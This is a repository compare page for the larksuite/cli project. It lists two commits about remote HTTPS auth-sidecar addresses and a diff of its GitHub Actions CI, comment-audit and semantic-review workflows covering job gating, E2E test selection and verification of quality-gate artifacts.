Compare commits

..

2 Commits

Author SHA1 Message Date
shanglei
52dc09af95 style(sidecar): gofmt hmac_test.go
Align comment spacing flagged by the fast-gate gofmt check.
2026-06-02 20:16:42 +08:00
shanglei
07da0c8090 feat(sidecar): support remote HTTPS sidecar addresses
Relax the auth-sidecar proxy address policy so a remote central sidecar
reachable over TLS can be used, while keeping existing same-host plaintext
behavior unchanged.

- ValidateProxyAddr: allow https:// to any host (cross-machine); http://
  and bare host:port stay same-host only; userinfo/path/query/fragment
  remain rejected.
- Add ProxyScheme and route the interceptor URL rewrite through the
  configured scheme (https for remote, http for same-host). ProxyScheme
  parses the address so a mixed-case HTTPS:// cannot silently downgrade to
  plaintext HTTP.
- Update LARKSUITE_CLI_AUTH_PROXY doc and server-demo README for the new
  policy; refresh the package comment.
- Tests: case-insensitive scheme, IPv6 https, https userinfo rejection,
  query/fragment rejection, ProxyHost https forms, and end-to-end
  interceptor scheme selection.
2026-06-02 20:13:47 +08:00
1978 changed files with 103909 additions and 332798 deletions

30
.github/CODEOWNERS vendored
View File

@@ -1,30 +0,0 @@
/internal/ @liangshuo-1
# Last match wins: existing domains below are exempt, only new skills/ entries need review.
/skills/ @liangshuo-1
/skills/lark-approval/
/skills/lark-apps/
/skills/lark-attendance/
/skills/lark-base/
/skills/lark-calendar/
/skills/lark-contact/
/skills/lark-doc/
/skills/lark-drive/
/skills/lark-event/
/skills/lark-im/
/skills/lark-mail/
/skills/lark-markdown/
/skills/lark-minutes/
/skills/lark-okr/
/skills/lark-openapi-explorer/
/skills/lark-shared/
/skills/lark-sheets/
/skills/lark-skill-maker/
/skills/lark-slides/
/skills/lark-task/
/skills/lark-vc/
/skills/lark-vc-agent/
/skills/lark-whiteboard/
/skills/lark-wiki/
/skills/lark-workflow-meeting-summary/
/skills/lark-workflow-standup-report/

View File

@@ -1,23 +1,17 @@
name: CI
run-name: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
on:
push:
branches: [main]
pull_request:
branches: [main]
types: [opened, synchronize, reopened, edited]
workflow_dispatch:
# PR metadata edits can retrigger full CI for the same head. Keep only the
# newest run for a pull request; push and manual runs use a unique run ID.
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.run_id }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
permissions:
contents: read
actions: read
checks: write
pull-requests: write
jobs:
# ── Layer 1: Fast Gate ─────────────────────────────────────────────
@@ -54,34 +48,6 @@ jobs:
exit 1
fi
plugin-integration:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
# No fetch_meta: the git-archive clean tree must embed only the
# committed meta_data stub (reproduces the bare-module customer state).
- name: Run plugin-integration L4 tests
run: go test -count=1 -timeout=15m ./tests/plugin_e2e/...
sidecar-integration:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- name: Run sidecar tag build + HMAC round-trip
run: make sidecar-test
# ── Layer 2: Quality Gate ──────────────────────────────────────────
unit-test:
needs: fast-gate
@@ -106,7 +72,6 @@ jobs:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
@@ -115,86 +80,10 @@ jobs:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Resolve changed-from baseline
env:
QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
- name: Run golangci-lint
run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev="$QUALITY_GATE_CHANGED_FROM"
- name: Run source-contract lint guards (lintcheck)
run: go run -C lint . --changed-from "$QUALITY_GATE_CHANGED_FROM" ..
- name: Run lint module tests
run: go test -C lint ./... -count=1
script-test:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: '22'
- name: Run script tests
run: make script-test
deterministic-gate:
needs: fast-gate
runs-on: ubuntu-latest
permissions:
contents: read
actions: read
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Resolve changed-from baseline
env:
QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
- name: Write public content metadata
if: ${{ github.event_name == 'pull_request' }}
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_BODY: ${{ github.event.pull_request.body }}
PR_BRANCH: ${{ github.head_ref }}
run: |
mkdir -p .tmp/quality-gate
python3 - <<'PY'
import json
import os
with open(".tmp/quality-gate/public-content-metadata.json", "w", encoding="utf-8") as f:
json.dump({
"title": os.environ.get("PR_TITLE", ""),
"body": os.environ.get("PR_BODY", ""),
"branch": os.environ.get("PR_BRANCH", ""),
}, f)
f.write("\n")
PY
- name: Run CLI deterministic gate
run: PUBLIC_CONTENT_METADATA=.tmp/quality-gate/public-content-metadata.json make quality-gate
- name: Upload quality gate facts
if: ${{ always() && github.event_name == 'pull_request' }}
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: quality-gate-facts-${{ github.event.pull_request.base.sha }}-${{ github.event.pull_request.head.sha }}
path: .tmp/quality-gate/facts.json
if-no-files-found: error
retention-days: 7
run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev=origin/main
- name: Run errs/ lint guards (lintcheck)
run: go run -C lint . ..
coverage:
needs: fast-gate
@@ -211,14 +100,9 @@ jobs:
run: python3 scripts/fetch_meta.py
- name: Run tests with coverage
run: |
# tests/ holds only L3/L4 suites (cli_e2e, plugin_e2e, sidecar_e2e) that
# have dedicated jobs; exclude the whole subtree so none of them runs a
# second time here — and, crucially, so an observe-only suite's failure
# can never block merges through coverage's spot in the results loop.
packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/')
packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '^github.com/larksuite/cli/tests/cli_e2e/')
go test -race -coverprofile=coverage.txt -covermode=atomic $packages
- name: Upload coverage to Codecov
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
uses: codecov/codecov-action@3f20e214133d0983f9a10f3d63b0faf9241a3daa # v6
with:
files: coverage.txt
@@ -300,45 +184,17 @@ jobs:
# ── Layer 3: E2E Gate ──────────────────────────────────────────────
e2e-dry-run:
needs: [unit-test, lint, script-test, deterministic-gate]
needs: [unit-test, lint]
runs-on: ubuntu-latest
timeout-minutes: 20
outputs:
mode: ${{ steps.e2e_domains.outputs.mode }}
reason: ${{ steps.e2e_domains.outputs.reason }}
live_packages: ${{ steps.e2e_domains.outputs.live_packages }}
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Resolve CLI E2E domains
id: e2e_domains
run: node scripts/e2e_domains.js
- name: Validate CLI E2E domain outputs
env:
E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
E2E_LIVE_PACKAGES: ${{ steps.e2e_domains.outputs.live_packages }}
run: |
case "$E2E_MODE" in
skip)
[ -z "$E2E_LIVE_PACKAGES" ] || { echo "::error::Skip mode must not resolve live packages"; exit 1; }
;;
full|subset)
[ -n "$E2E_LIVE_PACKAGES" ] || { echo "::error::No live packages resolved for mode $E2E_MODE"; exit 1; }
;;
*)
echo "::error::Invalid CLI E2E mode: $E2E_MODE"
exit 1
;;
esac
- name: Build lark-cli
if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
run: make build
- name: Run dry-run E2E tests
env:
@@ -346,50 +202,18 @@ jobs:
LARKSUITE_CLI_APP_ID: dry-run
LARKSUITE_CLI_APP_SECRET: dry-run
LARKSUITE_CLI_BRAND: feishu
E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
E2E_REASON: ${{ steps.e2e_domains.outputs.reason }}
E2E_DRY_ROOT_PACKAGE: ${{ steps.e2e_domains.outputs.dry_root_package }}
E2E_DRY_PACKAGES: ${{ steps.e2e_domains.outputs.dry_packages }}
run: |
if [ "$E2E_MODE" = "skip" ]; then
echo "No dry-run CLI E2E needed: $E2E_REASON"
exit 0
fi
if [ -z "$E2E_DRY_ROOT_PACKAGE" ] && [ -z "$E2E_DRY_PACKAGES" ]; then
echo "::error::No dry-run CLI E2E packages resolved for mode $E2E_MODE"
exit 1
fi
echo "Dry-run CLI E2E domains: $E2E_MODE ($E2E_REASON)"
if [ -n "$E2E_DRY_ROOT_PACKAGE" ]; then
echo "Dry-run CLI E2E root package: $E2E_DRY_ROOT_PACKAGE"
go test -v -count=1 -timeout=5m "$E2E_DRY_ROOT_PACKAGE"
fi
if [ -n "$E2E_DRY_PACKAGES" ]; then
echo "Dry-run CLI E2E packages: $E2E_DRY_PACKAGES"
go test -v -count=1 -timeout=5m $E2E_DRY_PACKAGES -run 'DryRun|Regression'
fi
run: go test -v -count=1 -timeout=5m ./tests/cli_e2e/... -run 'DryRun|Regression'
e2e-live:
needs: [unit-test, lint, script-test, deterministic-gate, e2e-dry-run]
if: ${{ always() && (github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork) && needs.unit-test.result == 'success' && needs.lint.result == 'success' && needs.script-test.result == 'success' && needs.deterministic-gate.result == 'success' && needs.e2e-dry-run.result == 'success' && (needs.e2e-dry-run.outputs.mode == 'full' || needs.e2e-dry-run.outputs.mode == 'subset') && needs.e2e-dry-run.outputs.live_packages != '' }}
needs: [unit-test, lint]
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
runs-on: ubuntu-latest
timeout-minutes: 30
# Live E2E uses one repository-wide execution slot.
concurrency:
group: lark-cli-e2e-live
cancel-in-progress: false
queue: max
permissions:
actions: read
contents: read
checks: write
env:
TEST_BOT1_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
LARKSUITE_CLI_BRAND: feishu
TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
@@ -397,75 +221,25 @@ jobs:
with:
python-version: '3.x'
- name: Build lark-cli
id: build_cli
run: make build
- name: Prepare shared live E2E tenant token
id: live_e2e_tat
env:
LARKSUITE_CLI_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
run: node scripts/fetch_e2e_tat.js
- name: Run CLI E2E tests
# Keep an active Go test alive so t.Cleanup can finish. A queued stale
# run is rejected below before it can start live E2E.
if: ${{ always() && steps.build_cli.outcome == 'success' && steps.live_e2e_tat.outcome == 'success' }}
shell: bash
env:
GH_TOKEN: ${{ github.token }}
REPOSITORY: ${{ github.repository }}
EVENT_NAME: ${{ github.event_name }}
RUN_ID: ${{ github.run_id }}
RUN_NUMBER: ${{ github.run_number }}
RUN_GENERATION: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
E2E_MODE: ${{ needs.e2e-dry-run.outputs.mode }}
E2E_REASON: ${{ needs.e2e-dry-run.outputs.reason }}
E2E_LIVE_PACKAGES: ${{ needs.e2e-dry-run.outputs.live_packages }}
E2E_TENANT_AUTH_FILE: ${{ steps.live_e2e_tat.outputs.path }}
TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
- name: Configure bot credentials
run: |
if [ "$EVENT_NAME" = "pull_request" ]; then
workflow_id="$(gh api "repos/$REPOSITORY/actions/runs/$RUN_ID" --jq '.workflow_id')"
newer_runs="$(
gh api --paginate -X GET "repos/$REPOSITORY/actions/workflows/$workflow_id/runs" \
-f event=pull_request -f branch="$GITHUB_HEAD_REF" -f per_page=100 |
jq -r --arg repository "$REPOSITORY" --arg generation "$RUN_GENERATION" --argjson run_number "$RUN_NUMBER" \
'.workflow_runs[] | select(.head_repository.full_name == $repository and .display_title == $generation and .run_number > $run_number) | .id'
)"
if [ -n "$newer_runs" ]; then
echo "::error::Superseded before live E2E started by newer workflow run(s): $newer_runs"
exit 1
fi
fi
if [ -z "${E2E_TENANT_AUTH_FILE:-}" ] || [ ! -f "$E2E_TENANT_AUTH_FILE" ]; then
echo "::error::Missing shared live E2E tenant token file"
if [ -z "$TEST_BOT1_APP_ID" ] || [ -z "$TEST_BOT1_APP_SECRET" ]; then
echo "::error::Missing required secrets: TEST_BOT1_APP_ID / TEST_BOT1_APP_SECRET"
exit 1
fi
export TEST_TENANT_ACCESS_TOKEN="$(cat "$E2E_TENANT_AUTH_FILE")"
rm -f "$E2E_TENANT_AUTH_FILE"
if ! LARKSUITE_CLI_APP_ID="$TEST_BOT1_APP_ID" \
LARKSUITE_CLI_TENANT_ACCESS_TOKEN="$TEST_TENANT_ACCESS_TOKEN" \
./lark-cli whoami --as bot | node -e '
let input = "";
process.stdin.setEncoding("utf8");
process.stdin.on("data", (chunk) => { input += chunk; });
process.stdin.on("end", () => {
const result = JSON.parse(input);
if (result.identity !== "bot" || result.available !== true || result.tokenStatus !== "ready") process.exit(1);
});
'; then
echo "::error::Tenant credential preflight failed"
exit 1
fi
echo "Tenant credential preflight succeeded"
packages="$E2E_LIVE_PACKAGES"
printf '%s\n' "$TEST_BOT1_APP_SECRET" | ./lark-cli config init --app-id "$TEST_BOT1_APP_ID" --app-secret-stdin
- name: Run CLI E2E tests
env:
LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
run: |
packages=$(go list ./tests/cli_e2e/... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '/demo$')
if [ -z "$packages" ]; then
echo "::error::No live CLI E2E packages resolved for mode $E2E_MODE"
echo "No CLI E2E packages to test after exclusions."
exit 1
fi
echo "Live CLI E2E domains: $E2E_MODE ($E2E_REASON)"
echo "Live CLI E2E packages: $packages"
go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
packages_arg=$(printf '%s\n' "$packages" | paste -sd' ' -)
go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages_arg" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
- name: Publish CLI E2E test report
if: ${{ !cancelled() }}
uses: dorny/test-reporter@a43b3a5f7366b97d083190328d2c652e1a8b6aa2 # v3.0.0
@@ -480,9 +254,6 @@ jobs:
# ── Layer 4: Security & Compliance (parallel with L2-L3) ──────────
security:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: read
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
@@ -520,7 +291,7 @@ jobs:
# ── Results Gate (single required check for branch protection) ─────
results:
if: ${{ always() }}
needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header, plugin-integration, sidecar-integration]
needs: [fast-gate, unit-test, lint, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
runs-on: ubuntu-latest
steps:
- name: Evaluate results
@@ -532,34 +303,21 @@ jobs:
echo "| L1 | fast-gate | ${{ needs.fast-gate.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | unit-test | ${{ needs.unit-test.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | lint | ${{ needs.lint.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | script-test | ${{ needs.script-test.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | deterministic-gate | ${{ needs.deterministic-gate.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | coverage | ${{ needs.coverage.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | deadcode | ${{ needs.deadcode.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L3 | e2e-dry-run | ${{ needs.e2e-dry-run.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L3 | e2e-live | ${{ needs.e2e-live.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | security | ${{ needs.security.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | license-header | ${{ needs.license-header.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | plugin-integration (observe-only) | ${{ needs.plugin-integration.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | sidecar-integration (observe-only) | ${{ needs.sidecar-integration.result }} |" >> $GITHUB_STEP_SUMMARY
# Any failure or cancellation in any job blocks the merge.
# Legitimately skipped jobs (deadcode on push, e2e-live when not
# needed or on a fork, license-header on push) are OK.
#
# plugin-integration and sidecar-integration are intentionally NOT
# in this loop yet: they run on every PR and their status is shown
# in the table above, but a failure is observe-only (non-blocking)
# during the initial soak. Graduation to required is tracked in
# https://github.com/larksuite/cli/issues/1894 (criteria: 4
# consecutive weeks with zero false positives).
# Legitimately skipped jobs (deadcode on push, e2e-live on fork,
# license-header on push) are OK.
FAILED=0
for result in \
"${{ needs.fast-gate.result }}" \
"${{ needs.unit-test.result }}" \
"${{ needs.lint.result }}" \
"${{ needs.script-test.result }}" \
"${{ needs.deterministic-gate.result }}" \
"${{ needs.coverage.result }}" \
"${{ needs.deadcode.result }}" \
"${{ needs.e2e-dry-run.result }}" \

View File

@@ -1,28 +0,0 @@
name: Comment Audit
on:
issue_comment:
types: [created, edited]
pull_request_review:
types: [submitted, edited]
pull_request_review_comment:
types: [created, edited]
permissions:
contents: read
jobs:
public-content-comment-audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- name: Post-publication comment audit
run: |
mkdir -p .tmp/comment-audit
cp "$GITHUB_EVENT_PATH" .tmp/comment-audit/event.json
go run ./internal/qualitygate/cmd/comment-audit --event .tmp/comment-audit/event.json --kind "$GITHUB_EVENT_NAME"

View File

@@ -1,611 +0,0 @@
name: Semantic Review
on:
workflow_run:
workflows: ["CI"]
types: [completed]
permissions:
actions: read
contents: read
jobs:
pr-quality-summary:
if: github.event.workflow_run.event == 'pull_request'
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
issues: write
pull-requests: write
steps:
- name: Verify workflow run and pull request for summary
id: pr
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
with:
script: |
const run = context.payload.workflow_run;
if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
let workflowPath = run.path || "";
if (!workflowPath) {
const workflowId = Number(run.workflow_id || 0);
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
const { data: workflow } = await github.rest.actions.getWorkflow({
owner: context.repo.owner,
repo: context.repo.repo,
workflow_id: workflowId,
});
workflowPath = workflow.path || "";
}
if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
if (runPRs.length > 1) {
throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
}
let prNumber = Number(runPRs[0]?.number || 0);
const eventBaseSha = runPRs[0]?.base?.sha || "";
const eventHeadSha = runPRs[0]?.head?.sha || "";
const targetHeadSha = run.head_sha;
if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
core.notice("PR quality summary using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
}
const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: run.id,
per_page: 100,
});
const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
let factsArtifactName = "";
let artifactBaseSha = "";
let artifactError = "";
if (factsArtifacts.length !== 1) {
artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
} else {
factsArtifactName = factsArtifacts[0].name;
const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
artifactError = "facts artifact head sha does not match verified PR head sha";
factsArtifactName = "";
} else {
artifactBaseSha = parsedBaseSha;
if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
core.notice("PR quality summary using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
}
}
}
if (!prNumber) {
const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
owner: context.repo.owner,
repo: context.repo.repo,
commit_sha: targetHeadSha,
});
const candidatePRs = associatedPRs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
);
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
}
if (!prNumber) {
const candidatePRs = await github.paginate(github.rest.pulls.list, {
owner: context.repo.owner,
repo: context.repo.repo,
state: "all",
per_page: 100,
}).then((prs) => prs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
));
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
} else {
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
}
}
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
const { data: pr } = await github.rest.pulls.get({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: prNumber,
});
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
if (pr.state !== "open") {
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
if (pr.head.sha !== targetHeadSha) {
core.notice("PR quality summary skipped: workflow_run is stale for this PR head");
core.setOutput("stale", "true");
return;
}
const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
core.notice("PR quality summary skipped: workflow_run is stale for this PR base");
core.setOutput("stale", "true");
return;
}
if (artifactError) {
core.warning(`quality gate facts artifact binding is unavailable: ${artifactError}`);
}
core.setOutput("pr_number", String(prNumber));
core.setOutput("head_sha", targetHeadSha);
core.setOutput("base_sha", baseSha);
core.setOutput("run_id", String(run.id));
core.setOutput("facts_artifact_name", factsArtifactName);
core.setOutput("artifact_error", artifactError);
core.setOutput("stale", "false");
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
id: checkout
if: ${{ steps.pr.outputs.stale != 'true' }}
with:
ref: ${{ steps.pr.outputs.base_sha }}
persist-credentials: false
- name: Verify summary facts artifact metadata
id: artifact
if: ${{ steps.pr.outputs.stale != 'true' && steps.pr.outputs.facts_artifact_name != '' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
with:
script: |
const run = context.payload.workflow_run;
const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
const { data } = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: run.id,
per_page: 100,
});
const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
const artifact = artifacts[0];
if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
}
if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
core.setOutput("artifact_id", String(artifact.id));
core.setOutput("artifact_digest", artifact.digest);
- name: Download facts artifact zip
if: ${{ steps.pr.outputs.stale != 'true' && steps.artifact.outputs.artifact_id != '' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
id: download
with:
script: |
const fs = require("fs");
const path = require("path");
const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
const { data } = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: artifactId,
archive_format: "zip",
});
const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
fs.writeFileSync(zipPath, Buffer.from(data));
core.setOutput("zip_path", zipPath);
- name: Verify and extract summary facts artifact
if: ${{ steps.pr.outputs.stale != 'true' && steps.download.outputs.zip_path != '' }}
env:
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
SEMANTIC_REVIEW_DECISION_OUT: decision.json
SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
- name: Publish PR quality summary
if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
env:
CI_QUALITY_SUMMARY_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
CI_QUALITY_SUMMARY_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
CI_QUALITY_SUMMARY_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
CI_QUALITY_SUMMARY_RUN_ID: ${{ steps.pr.outputs.run_id }}
CI_QUALITY_SUMMARY_ARTIFACT_ERROR: ${{ steps.pr.outputs.artifact_error }}
with:
script: |
const { publish } = require("./scripts/ci-quality-summary-publish.js");
await publish({ github, context, core });
semantic-review:
needs: pr-quality-summary
if: always() && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'pull_request'
runs-on: ubuntu-latest
permissions:
actions: read
checks: write
contents: read
issues: write
pull-requests: write
steps:
- name: Verify workflow run and pull request
id: pr
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
with:
script: |
const run = context.payload.workflow_run;
if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
let workflowPath = run.path || "";
if (!workflowPath) {
const workflowId = Number(run.workflow_id || 0);
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
const { data: workflow } = await github.rest.actions.getWorkflow({
owner: context.repo.owner,
repo: context.repo.repo,
workflow_id: workflowId,
});
workflowPath = workflow.path || "";
}
if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
